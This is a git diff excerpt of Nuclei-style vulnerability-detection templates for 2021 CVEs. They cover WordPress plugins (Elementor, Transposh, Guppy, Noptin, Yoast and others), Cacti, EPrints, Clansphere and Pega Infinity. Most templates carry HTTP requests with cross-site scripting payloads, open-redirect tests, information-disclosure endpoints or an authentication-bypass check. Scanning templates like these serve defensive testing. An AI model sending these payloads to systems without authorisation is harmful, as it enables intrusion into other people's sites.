https://wpscan.com/vulnerability/fbed0daa-007d-4f91-8d87-4bca7781de2d @@ -17,33 +14,12 @@ info: cvss-score: 6.1 cve-id: CVE-2021-24891 cwe-id: CWE-79 - epss-score: 0.00116 - epss-percentile: 0.45221 - cpe: cpe:2.3:a:elementor:website_builder:*:*:*:*:*:wordpress:*:* - metadata: - max-request: 2 - vendor: elementor - product: website_builder - framework: wordpress - tags: wordpress,wp-plugin,elementor,wpscan,cve,cve2021,dom,xss - -http: + tags: cve,cve2021,dom,xss,wordpress,wp-plugin,elementor +requests: - method: GET path: - "{{BaseURL}}/wp-content/plugins/elementor/assets/js/frontend.min.js" - "{{BaseURL}}/#elementor-action:action=lightbox&settings=eyJ0eXBlIjoibnVsbCIsImh0bWwiOiI8c2NyaXB0PmFsZXJ0KCd4c3MnKTwvc2NyaXB0PiJ9" - - matchers-condition: and - matchers: - - type: dsl - dsl: - - compare_versions(version, '> 1.5.0', '< 3.1.4') && status_code_1 == 200 && status_code_2 == 200 - - - type: regex - part: body_1 - regex: - - "elementor[\\s-]*v(([0-3]+\\.(([0-5]+\\.[0-5]+)|[0-4]+\\.[0-9]+))|[0-2]+[0-9.]+)" - extractors: - type: regex name: version @@ -51,8 +27,16 @@ http: regex: - "elementor[\\s-]*v(([0-3]+\\.(([0-5]+\\.[0-5]+)|[0-4]+\\.[0-9]+))|[0-2]+[0-9.]+)" internal: true - - type: kval kval: - version -# digest: 4a0a00473045022100c1e5a4f5ee0cdd3de593aae1706940b18eff44aa0b17b2e66214c8796ba3c59d02200cc107933276cac34d733b7c1680d8184eded0e9991f157474a7307ea1e61a90:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + req-condition: true + matchers-condition: and + matchers: + - type: regex + part: body_1 + regex: + - "elementor[\\s-]*v(([0-3]+\\.(([0-5]+\\.[0-5]+)|[0-4]+\\.[0-9]+))|[0-2]+[0-9.]+)" + - type: dsl + dsl: + - compare_versions(version, '> 1.5.0', '< 3.1.4') && status_code_1 == 200 && status_code_2 == 200 diff --git a/poc/cve/CVE-2021-24910.yaml b/poc/cve/CVE-2021-24910.yaml index 5981426908..bd2581d33d 100644 --- a/poc/cve/CVE-2021-24910.yaml +++ b/poc/cve/CVE-2021-24910.yaml @@ -1,38 +1,20 @@ id: CVE-2021-24910 - info: - name: WordPress Transposh Translation <1.0.8 - Cross-Site Scripting + name: Transposh WordPress < 1.0.7 - Reflected Cross-Site Scripting (XSS) author: Screamy severity: medium - description: WordPress Transposh Translation plugin before 1.0.8 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape the a parameter via an AJAX action (available to both unauthenticated and authenticated users when the curl library is installed) before outputting it back in the response. - remediation: | - Update the WordPress Transposh Translation plugin to version 1.0.8 or later to mitigate the vulnerability. reference: - https://www.rcesecurity.com/2022/07/WordPress-Transposh-Exploiting-a-Blind-SQL-Injection-via-XSS/ - https://github.com/MrTuxracer/advisories/blob/master/CVEs/CVE-2021-24910.txt - https://wpscan.com/vulnerability/b5cbebf4-5749-41a0-8be3-3333853fca17 - - https://nvd.nist.gov/vuln/detail/CVE-2021-24910 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2021-24910 - cwe-id: CWE-79 - epss-score: 0.00097 - epss-percentile: 0.40336 - cpe: cpe:2.3:a:transposh:transposh_wordpress_translation:*:*:*:*:*:wordpress:*:* + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24910 metadata: verified: true - max-request: 1 - vendor: transposh - product: transposh_wordpress_translation - framework: wordpress - tags: cve2021,wordpress,wp-plugin,xss,wp,wpscan,cve - -http: + tags: cve,cve2021,wordpress,wp-plugin,xss,wp +requests: - method: GET path: - "{{BaseURL}}/wp-admin/admin-ajax.php?action=tp_tp&e=g&m=s&tl=en&q=" - matchers-condition: and matchers: - type: word @@ -41,13 +23,10 @@ http: - '' - '{"result":' condition: and - - type: word part: header words: - "text/html" - - type: status status: - 200 -# digest: 4a0a00473045022100e7643db4a9a1116c7d12d1ddc8e6ff2b7bfe96c0cd768db333ada5b5b8320eb50220551d8f9ee77a17139bfaaaae26efc4c65a2dba564ef28c499e965a66504f1059:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2021-24997.yaml b/poc/cve/CVE-2021-24997.yaml index 4e60ead994..7e75afbc72 100644 --- a/poc/cve/CVE-2021-24997.yaml +++ b/poc/cve/CVE-2021-24997.yaml @@ -1,29 +1,39 @@ id: CVE-2021-24997 + info: - name: Wordpress Guppy <=1.1 - User ID Disclosure + name: WordPress Guppy <=1.1 - Information Disclosure author: Evan Rubinstein severity: medium - description: Instances of the Guppy Wordpress extension up to 1.1 are vulnerable to an API disclosure vulnerability which allows remote unauthenticated attackrs to obtain all user IDs, and then use that information to make API requests to either get messages sent between users, or send messages posing as one user to another. + description: WordPress Guppy plugin through 1.1 is susceptible to an API disclosure vulnerability. This can allow an attacker to obtain all user IDs and then use them to make API requests to get messages sent between users and/or send messages posing as one user to another. + remediation: | + Update to the latest version of the WordPress Guppy plugin (version >1.1) to mitigate the information disclosure vulnerability. reference: - https://www.exploit-db.com/exploits/50540 - https://patchstack.com/database/vulnerability/wp-guppy/wordpress-wp-guppy-plugin-1-2-sensitive-information-disclosure-vulnerability - - https://nvd.nist.gov/vuln/detail/CVE-2021-24997 - https://wpscan.com/vulnerability/747e6c7e-a167-4d82-b6e6-9e8613f0e900 + - https://nvd.nist.gov/vuln/detail/CVE-2021-24997 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N cvss-score: 6.5 cve-id: CVE-2021-24997 cwe-id: CWE-862 - tags: wordpress,guppy,api,cve2021,cve,wp-plugin -requests: - - method: + epss-score: 0.00224 + epss-percentile: 0.60597 + cpe: cpe:2.3:a:wp-guppy:wp_guppy:*:*:*:*:*:wordpress:*:* + metadata: + max-request: 1 + vendor: wp-guppy + product: wp_guppy + framework: wordpress + tags: wordpress,guppy,api,cve2021,cve,wp-plugin,edb,wpscan + +http: + - method: GET path: - "{{BaseURL}}/wp-json/guppy/v2/load-guppy-users?userId=1&offset=0&search=" + matchers-condition: and matchers: - - type: status - status: - - 200 - type: word part: body words: @@ -31,3 +41,8 @@ requests: - '"userId":' - '"type":' condition: and + + - type: status + status: + - 200 +# digest: 4b0a004830460221008ea990d87a02529627ee7c5c01ef9d7e86e46fdf6242ec8ebe52ae0d3d685e9c022100a05fa7a6dd44ae36eeb5824b2991fa2ebe54bd1202e01a895199381cff1788ff:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2021-25033.yaml b/poc/cve/CVE-2021-25033.yaml index f262650550..5348a3bb8c 100644 --- a/poc/cve/CVE-2021-25033.yaml +++ b/poc/cve/CVE-2021-25033.yaml @@ -1,12 +1,9 @@ id: CVE-2021-25033 - info: name: Noptin < 1.6.5 - Open Redirect author: dhiyaneshDk severity: medium description: Noptin < 1.6.5 is susceptible to an open redirect vulnerability. The plugin does not validate the "to" parameter before redirecting the user to its given value, leading to an open redirect issue. - remediation: | - Update to Noptin plugin version 1.6.5 or later. reference: - https://wpscan.com/vulnerability/c2d2384c-41b9-4aaf-b918-c1cfda58af5c - https://plugins.trac.wordpress.org/changeset/2639592 @@ -16,24 +13,15 @@ info: cvss-score: 6.1 cve-id: CVE-2021-25033 cwe-id: CWE-601 - epss-score: 0.001 - epss-percentile: 0.41034 - cpe: cpe:2.3:a:noptin:noptin:*:*:*:*:*:wordpress:*:* - metadata: - max-request: 1 - vendor: noptin - product: noptin - framework: wordpress - tags: wp,wpscan,cve,cve2021,wordpress,redirect,wp-plugin,noptin - -http: + tags: cve,cve2021,wordpress,redirect,wp-plugin,noptin,wp +requests: - method: GET path: - "{{BaseURL}}/?noptin_ns=email_click&to=https://interact.sh" - matchers: - type: regex part: header regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1 -# digest: 4a0a0047304502206245bfd1be2d3737cc7f28d70053d89b69c8b397ce47c57eb85865d7594c8297022100963b29e147b12de7b60d0f3a7d835a8dcde440e5f18d5e1d3ab1a2b50302d91c:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 + +# Enhanced by mp on 2022/04/13 diff --git a/poc/cve/CVE-2021-25063.yaml b/poc/cve/CVE-2021-25063.yaml index a2684ac1cf..24d3785bdb 100644 --- a/poc/cve/CVE-2021-25063.yaml +++ b/poc/cve/CVE-2021-25063.yaml @@ -1,31 +1,17 @@ id: CVE-2021-25063 - info: - name: WordPress Contact Form 7 Skins <=2.5.0 - Cross-Site Scripting + name: Contact Form 7 Skins <= 2.5.0 - Reflected Cross-Site Scripting (XSS) author: dhiyaneshDk severity: medium - description: WordPress Contact Form 7 Skins plugin 2.5.0 and prior contains a reflected cross-site scripting vulnerability. It does not sanitize and escape the tab parameter before outputting it back in an admin page. - remediation: | - Update to the latest version of the WordPress Contact Form 7 Skins plugin (2.5.1) or apply the vendor-supplied patch. - reference: - - https://wpscan.com/vulnerability/e2185887-3e53-4089-aa3f-981c944ee0bb - - https://nvd.nist.gov/vuln/detail/CVE-2021-25063 + description: The plugin does not sanitise and escape the tab parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting + reference: https://wpscan.com/vulnerability/e2185887-3e53-4089-aa3f-981c944ee0bb classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 + cvss-score: 6.10 cve-id: CVE-2021-25063 cwe-id: CWE-79 - epss-score: 0.00106 - epss-percentile: 0.4302 - cpe: cpe:2.3:a:cf7skins:contact_form_7_skins:*:*:*:*:*:wordpress:*:* - metadata: - max-request: 2 - vendor: cf7skins - product: contact_form_7_skins - framework: wordpress - tags: wpscan,cve,cve2021,wordpress,wp-plugin,xss,contactform,authenticated - -http: + tags: cve,cve2021wordpress,wp-plugin,xss,contactform,authenticated +requests: - raw: - | POST /wp-login.php HTTP/1.1 @@ -38,20 +24,17 @@ http: - | GET /wp-admin/admin.php?page=cf7skins&tab=%27%3E%3Cimg+src+onerror%3Dalert%28document.domain%29%3E HTTP/1.1 Host: {{Hostname}} - + cookie-reuse: true matchers-condition: and matchers: - type: word part: body words: - "' type='hidden" - - type: word part: header words: - text/html - - type: status status: - 200 -# digest: 4b0a004830460221008438e9290efa6e22ec4edb0a0d7089eed9d859b18de437a5eae7790c3f7a5f5302210080cae45d981b51318fdbd326798446481ddce76e67d5922906547c7cbe8d60e9:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2021-25075.yaml b/poc/cve/CVE-2021-25075.yaml index d436522e39..c3af39b163 100644 --- a/poc/cve/CVE-2021-25075.yaml +++ b/poc/cve/CVE-2021-25075.yaml @@ -1,32 +1,21 @@ id: CVE-2021-25075 - info: - name: WordPress Duplicate Page or Post <1.5.1 - Cross-Site Scripting + name: WordPress Duplicate Page or Post < 1.5.1 - Stored XSS author: DhiyaneshDK severity: low description: | - WordPress Duplicate Page or Post plugin before 1.5.1 contains a stored cross-site scripting vulnerability. The plugin does not have any authorization and has a flawed cross-site request forgery check in the wpdevart_duplicate_post_parametrs_save_in_db AJAX action, allowing unauthenticated users to call it and change the plugin's settings, or perform such attack via cross-site request forgery. + The plugin does not have any authorisation and has a flawed CSRF check in the wpdevart_duplicate_post_parametrs_save_in_db AJAX action, allowing any authenticated users, such as subscriber to call it and change the plugin's settings, or perform such attack via CSRF. Furthermore, due to the lack of escaping, this could lead to Stored Cross-Site Scripting issues. remediation: Fixed in version 1.5.1. reference: - https://wpscan.com/vulnerability/db5a0431-af4d-45b7-be4e-36b6c90a601b - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-25075 - - https://nvd.nist.gov/vuln/detail/CVE-2021-25075 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N - cvss-score: 3.5 + cvss-score: 3.50 cve-id: CVE-2021-25075 cwe-id: CWE-862 - epss-score: 0.00071 - epss-percentile: 0.29485 - cpe: cpe:2.3:a:wpdevart:duplicate_page_or_post:*:*:*:*:*:wordpress:*:* - metadata: - max-request: 3 - vendor: wpdevart - product: duplicate_page_or_post - framework: wordpress - tags: wpscan,cve,cve2021,wordpress,xss,wp-plugin,authenticated - -http: + tags: cve,cve2021,wordpress,xss,wp-plugin,authenticated +requests: - raw: - | POST /wp-login.php HTTP/1.1 @@ -46,7 +35,7 @@ http: - | GET /wp-admin/admin.php?page=wpda_duplicate_post_menu HTTP/1.1 Host: {{Hostname}} - + cookie-reuse: true matchers-condition: and matchers: - type: word @@ -55,13 +44,10 @@ http: - "style=animation-name:rotation onanimationstart=alert(/XSS/) p" - "toplevel_page_wpda_duplicate_post_menu" condition: and - - type: word part: header words: - text/html - - type: status status: - 200 -# digest: 4b0a004830460221008cb4a5af6f74f3a27bc0f5561d12f4799d6db6372ca02855ca5b07cc0d29e8260221009d567e75041654ea0ac7125f4a0eb1677728b2949b556a7e0fbe9adea73f8981:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2021-25085.yaml b/poc/cve/CVE-2021-25085.yaml index 13293e3e4e..6dae7e423c 100644 --- a/poc/cve/CVE-2021-25085.yaml +++ b/poc/cve/CVE-2021-25085.yaml @@ -1,13 +1,10 @@ id: CVE-2021-25085 - info: - name: WOOF WordPress plugin - Cross-Site Scripting + name: WOOF WordPress plugin - Reflected Cross-Site Scripting author: Maximus Decimus severity: medium description: | The WOOF WordPress plugin does not sanitize or escape the woof_redraw_elements parameter before reflecting it back in an admin page, leading to a reflected cross-site scripting. - remediation: | - Update to the latest version of the WOOF WordPress plugin, which includes proper input sanitization to mitigate the XSS vulnerability. reference: - https://wpscan.com/vulnerability/b7dd81c6-6af1-4976-b928-421ca69bfa90 - https://plugins.trac.wordpress.org/changeset/2648751 @@ -16,36 +13,25 @@ info: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-25085 - cwe-id: CWE-79 - epss-score: 0.001 - epss-percentile: 0.41034 - cpe: cpe:2.3:a:pluginus:woocommerce_products_filter:*:*:*:*:*:wordpress:*:* metadata: verified: true - max-request: 1 - vendor: pluginus - product: woocommerce_products_filter - framework: wordpress - tags: cve,cve2021,wordpress,wp-plugin,wp,xss,wpscan - -http: + tags: cve,cve2021,wordpress,wp-plugin,wp,xss +requests: - method: GET path: - "{{BaseURL}}/wp-admin/admin-ajax.php?action=woof_draw_products&woof_redraw_elements[]=" - matchers-condition: and matchers: - type: word part: body words: - '"additional_fields":[""]}' - - type: word part: header words: - text/html - - type: status status: - 200 -# digest: 490a004630440220178100e041c53995fa4f17cc62e294cbee55bd22e1ee2145698eda13ac63cc7a02203ac6bf2f46cada4604113cc871b16b8c7b97c85a716678fc47d6f2385c057724:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + +# Enhanced by cs 06/21/2022 diff --git a/poc/cve/CVE-2021-25112.yaml b/poc/cve/CVE-2021-25112.yaml index 8da07378c7..d26455b311 100644 --- a/poc/cve/CVE-2021-25112.yaml +++ b/poc/cve/CVE-2021-25112.yaml @@ -1,33 +1,20 @@ id: CVE-2021-25112 - info: - name: WordPress WHMCS Bridge <6.4b - Cross-Site Scripting - author: dhiyaneshDk + name: WHMCS Bridge < 6.4b - Authenticated Reflected XSS + author: DhiyaneshDK severity: medium description: | - WordPress WHMCS Bridge plugin before 6.4b contains a reflected cross-site scripting vulnerability. It does not sanitize and escape the error parameter before outputting it back in the admin dashboard. - remediation: | - Update WordPress WHMCS Bridge to version 6.4b or later to mitigate this vulnerability. + The plugin does not sanitise and escape the error parameter before outputting it back in admin dashboard, leading to a Reflected Cross-Site Scripting reference: - https://wpscan.com/vulnerability/4aae2dd9-8d51-4633-91bc-ddb53ca3471c - - https://plugins.trac.wordpress.org/changeset/2659751 - - https://nvd.nist.gov/vuln/detail/CVE-2021-25112 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-25112 + tags: cve,cve2021,wordpress,xss,wp-plugin,authenticated classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 + cvss-score: 6.10 cve-id: CVE-2021-25112 cwe-id: CWE-79 - epss-score: 0.001 - epss-percentile: 0.41034 - cpe: cpe:2.3:a:i-plugins:whmcs_bridge:*:*:*:*:*:wordpress:*:* - metadata: - max-request: 2 - vendor: i-plugins - product: whmcs_bridge - framework: wordpress - tags: whmcs,xss,wpscan,wordpress,wp-plugin,wp,authenticated - -http: +requests: - raw: - | POST /wp-login.php HTTP/1.1 @@ -40,20 +27,17 @@ http: - | GET /wp-admin/options-general.php?page=cc-ce-bridge-cp&error=%3Cimg%20src%20onerror=alert(document.domain)%3E HTTP/1.1 Host: {{Hostname}} - + cookie-reuse: true matchers-condition: and matchers: - type: word part: body words: - - "" - + - "" - type: word part: header words: - text/html - - type: status status: - 200 -# digest: 4a0a0047304502204157a558f83ea3fb9c716eaff70338138d192142cd094fdf51503b2dfdf22b97022100e272c6339af42d1b5f963685ffa7632bc9a3b39feb79acdfb2d52827604b0231:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2021-25118.yaml b/poc/cve/CVE-2021-25118.yaml index f037f16c59..93fa616ed1 100644 --- a/poc/cve/CVE-2021-25118.yaml +++ b/poc/cve/CVE-2021-25118.yaml @@ -1,39 +1,54 @@ id: CVE-2021-25118 + info: - name: Yoast SEO < 17.3 - Path Disclosure + name: Yoast SEO 16.7-17.2 - Information Disclosure author: DhiyaneshDK severity: medium - description: The plugin discloses the full internal path of featured images in posts via the wp/v2/posts REST endpoints which could help an attacker identify other vulnerabilities or help during the exploitation of other identified vulnerabilities. + description: Yoast SEO plugin 16.7 to 17.2 is susceptible to information disclosure, The plugin discloses the full internal path of featured images in posts via the wp/v2/posts REST endpoints, which can help an attacker identify other vulnerabilities or help during the exploitation of other identified vulnerabilities. + remediation: Fixed in version 17.3. reference: - https://wpscan.com/vulnerability/2c3f9038-632d-40ef-a099-6ea202efb550 - - https://nvd.nist.gov/vuln/detail/CVE-2021-25118 - https://plugins.trac.wordpress.org/changeset/2608691 - remediation: Fixed in version 17.3 + - https://nvd.nist.gov/vuln/detail/CVE-2021-25118 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2021-25118 cwe-id: CWE-200 - tags: wordpress,cve2021,wp-plugin,fpd,cve,wp -requests: + epss-score: 0.00155 + epss-percentile: 0.51839 + cpe: cpe:2.3:a:yoast:yoast_seo:*:*:*:*:*:wordpress:*:* + metadata: + max-request: 1 + vendor: yoast + product: yoast_seo + framework: wordpress + tags: wpscan,wordpress,cve2021,wp-plugin,fpd,cve,wp + +http: - method: GET path: - "{{BaseURL}}/wp-json/wp/v2/posts?per_page=1" + matchers-condition: and matchers: - - type: regex - regex: - - '"path":"(.*)/wp-content\\(.*)","size' - type: word part: header words: - "application/json" + + - type: regex + regex: + - '"path":"(.*)/wp-content\\(.*)","size' + - type: status status: - 200 + extractors: - type: regex - part: body group: 1 regex: - '"path":"(.*)/wp-content\\(.*)","size' + part: body +# digest: 4a0a00473045022040802fa6e5d672517b289ec0f5e1f88b5a6a41252698324c1b2bfb835c07b21b022100abfd5dd1973ff76a497fd60ca24218bd80f24fb549131b1214fb3c1e096e2741:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2021-25120.yaml b/poc/cve/CVE-2021-25120.yaml index 62a8c9e125..d6f9c8d1f9 100644 --- a/poc/cve/CVE-2021-25120.yaml +++ b/poc/cve/CVE-2021-25120.yaml @@ -1,20 +1,32 @@ id: CVE-2021-25120 + info: name: Easy Social Feed < 6.2.7 - Cross-Site Scripting author: dhiyaneshDk severity: medium description: Easy Social Feed < 6.2.7 is susceptible to reflected cross-site scripting because the plugin does not sanitize and escape a parameter before outputting it back in an admin dashboard page, leading to it being executed in the context of a logged admin or editor. + remediation: | + Update to Easy Social Feed version 6.2.7 or later to mitigate the vulnerability. reference: - https://wpscan.com/vulnerability/6dd00198-ef9b-4913-9494-e08a95e7f9a0 - - https://www.cvedetails.com/cve/CVE-2021-25120/ - https://wpscan.com/vulnerability/0ad020b5-0d16-4521-8ea7-39cd206ab9f6 + - https://nvd.nist.gov/vuln/detail/CVE-2021-25120 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-25120 cwe-id: CWE-79 - tags: cve,cve2021,wordpress,wp-plugin,xss,authenticated -requests: + epss-score: 0.00106 + epss-percentile: 0.4302 + cpe: cpe:2.3:a:easysocialfeed:easy_social_feed:*:*:*:*:pro:wordpress:*:* + metadata: + max-request: 2 + vendor: easysocialfeed + product: easy_social_feed + framework: wordpress + tags: cve,cve2021,wordpress,wp-plugin,xss,authenticated,wpscan + +http: - raw: - | POST /wp-login.php HTTP/1.1 @@ -27,19 +39,20 @@ requests: - | GET /wp-admin/admin.php?page=easy-facebook-likebox&access_token=a&type= HTTP/1.1 Host: {{Hostname}} - cookie-reuse: true + matchers-condition: and matchers: - type: word part: body words: - "'type' : ''" + - type: word part: header words: - text/html + - type: status status: - 200 - -# Enhanced by mp on 2022/04/21 +# digest: 4a0a0047304502205f6edf4444e13f581029508e1c3167c8e5625e612911c7c1ed8d30233d6e8f270221008aeac426b46c29ef997811e1cb455226a8a3fb2e05f00578c9a68f2245dd3714:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2021-26247.yaml b/poc/cve/CVE-2021-26247.yaml index c55a293b99..3d585e40ed 100644 --- a/poc/cve/CVE-2021-26247.yaml +++ b/poc/cve/CVE-2021-26247.yaml @@ -1,32 +1,47 @@ id: CVE-2021-26247 + info: - name: Unauthenticated XSS Cacti - auth_changepassword.php + name: Cacti - Cross-Site Scripting author: dhiyaneshDK severity: medium - description: As an unauthenticated remote user, visit "http:///auth_changepassword.php?ref=" to successfully execute the JavaScript payload present in the "ref" URL parameter. + description: Cacti contains a cross-site scripting vulnerability via "http:///auth_changepassword.php?ref=" which can successfully execute the JavaScript payload present in the "ref" URL parameter. + remediation: | + Apply the latest security patches or upgrade to a patched version of Cacti to mitigate this vulnerability. reference: - - https://nvd.nist.gov/vuln/detail/CVE-2021-26247 - https://www.cacti.net/info/changelog + - https://nvd.nist.gov/vuln/detail/CVE-2021-26247 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-26247 cwe-id: CWE-79 + epss-score: 0.00255 + epss-percentile: 0.63227 + cpe: cpe:2.3:a:cacti:cacti:0.8.7g:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: cacti + product: cacti tags: cve,cve2021,cacti,xss -requests: + +http: - method: GET path: - '{{BaseURL}}/auth_changepassword.php?ref=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E' + matchers-condition: and matchers: - type: word part: body words: - '">' + - type: word part: header words: - "text/html" + - type: status status: - 200 +# digest: 4b0a00483046022100a7c488f1fb4d829efed8be4b2611fe0da6dc7b4a35fc7466cbcc97220410087e022100c26eb7bb28d120dc69ec9beb3606a3e693a6a5fba2d45fde8b1b27a3aa590fbe:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2021-26475.yaml b/poc/cve/CVE-2021-26475.yaml index 212a59fc6a..197a0e35f5 100644 --- a/poc/cve/CVE-2021-26475.yaml +++ b/poc/cve/CVE-2021-26475.yaml @@ -1,31 +1,19 @@ id: CVE-2021-26475 info: - name: EPrints 3.4.2 - Cross-Site Scripting + name: EPrints 3.4.2 XSS author: geeknik + description: EPrints 3.4.2 exposes a reflected XSS opportunity in the via a cgi/cal URI. + reference: https://github.com/grymer/CVE/blob/master/eprints_security_review.pdf severity: medium - description: EPrints 3.4.2 contains a reflected cross-site scripting vulnerability via the cgi/cal URI. - remediation: | - Apply the latest security patches or upgrade to a newer version of EPrints that addresses this vulnerability. - reference: - - https://github.com/grymer/CVE/blob/master/eprints_security_review.pdf - - https://files.eprints.org/2548/ - - https://nvd.nist.gov/vuln/detail/CVE-2021-26475 + tags: cve,cve2021,xss,eprints classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 + cvss-score: 6.10 cve-id: CVE-2021-26475 cwe-id: CWE-79 - epss-score: 0.00187 - epss-percentile: 0.55916 - cpe: cpe:2.3:a:eprints:eprints:3.4.2:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: eprints - product: eprints - tags: cve,cve2021,xss,eprints,intrusive -http: +requests: - method: GET path: - "{{BaseURL}}/cgi/cal?year=2021%3C/title%3E%3Cscript%3Ealert(%27{{randstr}}%27)%3C/script%3E" @@ -34,14 +22,8 @@ http: matchers: - type: word words: - - - + - "" - type: word part: header words: - - text/html - - - type: status - status: - - 200 -# digest: 4a0a0047304502201ecd0012ba7c64b73ed111e37bbbbb5e087567305c6ca5f81dbbf5815d561bb0022100b74387e768c9740ae276f3349afaa3afa5d44c166e8a715b837faafd69febb96:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + - "text/html" diff --git a/poc/cve/CVE-2021-27310.yaml b/poc/cve/CVE-2021-27310.yaml index 71c24b8174..62e8afc860 100644 --- a/poc/cve/CVE-2021-27310.yaml +++ b/poc/cve/CVE-2021-27310.yaml @@ -1,32 +1,48 @@ id: CVE-2021-27310 + info: - name: Clansphere CMS 2011.4 - Reflected Cross-Site Scripting (XSS) + name: Clansphere CMS 2011.4 - Cross-Site Scripting author: alph4byt3 severity: medium - description: Clansphere CMS 2011.4 allows unauthenticated reflected XSS via "language" parameter. + description: Clansphere CMS 2011.4 contains an unauthenticated reflected cross-site scripting vulnerability via the "language" parameter. + remediation: | + To mitigate this vulnerability, it is recommended to apply the latest security patches or updates provided by the vendor. reference: - https://github.com/xoffense/POC/blob/main/Clansphere%202011.4%20%22language%22%20xss.md - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27310 + - https://nvd.nist.gov/vuln/detail/CVE-2021-27310 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-27310 cwe-id: CWE-79 + epss-score: 0.001 + epss-percentile: 0.40981 + cpe: cpe:2.3:a:csphere:clansphere:2011.4:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: csphere + product: clansphere tags: xss,cve,cve2021,clansphere -requests: + +http: - method: GET path: - '{{BaseURL}}/clansphere/mods/clansphere/lang_modvalidate.php?language=language%27%22()%26%25%3Cyes%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&module=module' + matchers-condition: and matchers: - type: word part: body words: - "" + - type: word part: header words: - text/html + - type: status status: - 200 +# digest: 490a0046304402203cfbda5def1f5c63fcb8b1bd13ad765ad22f62dbb65cd27383fb0bca7d762be4022003e271be5e2bd7af63d55782839b5423c18ede40f10cd32b7260ef887e9f4342:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2021-27651.yaml b/poc/cve/CVE-2021-27651.yaml index 6c1c66e68e..43f2de9897 100644 --- a/poc/cve/CVE-2021-27651.yaml +++ b/poc/cve/CVE-2021-27651.yaml @@ -1,9 +1,12 @@ id: CVE-2021-27651 + info: name: Pega Infinity - Authentication Bypass author: idealphase,daffainfo severity: critical description: Pega Infinity versions 8.2.1 through 8.5.2 contain an authentication bypass vulnerability because the password reset functionality for local accounts can be used to bypass local authentication checks. + remediation: | + Apply the necessary security patches or updates provided by Pega Infinity to mitigate the authentication bypass vulnerability (CVE-2021-27651). reference: - https://github.com/samwcyo/CVE-2021-27651-PoC/blob/main/RCE.md - https://nvd.nist.gov/vuln/detail/CVE-2021-27651 @@ -12,37 +15,49 @@ info: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2021-27651 - cwe-id: CWE-287,CWE-640 + cwe-id: CWE-287 + epss-score: 0.04445 + epss-percentile: 0.91501 + cpe: cpe:2.3:a:pega:infinity:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: pega + product: infinity tags: cve,cve2021,pega,auth-bypass -requests: + +http: - method: GET path: - "{{BaseURL}}/prweb/PRAuth/app/default/" - cookie-reuse: true - redirects: true + + host-redirects: true max-redirects: 2 + + matchers-condition: and + matchers: + - type: dsl + dsl: + - compare_versions(version, '< 8.5.2', '>= 8.2.1') + + - type: word + part: body + words: + - 'Pega Infinity' + + - type: status + status: + - 200 + extractors: - type: regex name: version - internal: true group: 1 regex: - '(?m)Pega ([0-9.]+)' + internal: true + - type: regex group: 1 regex: - '(?m)Pega ([0-9.]+)' - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - part: body - words: - - 'Pega 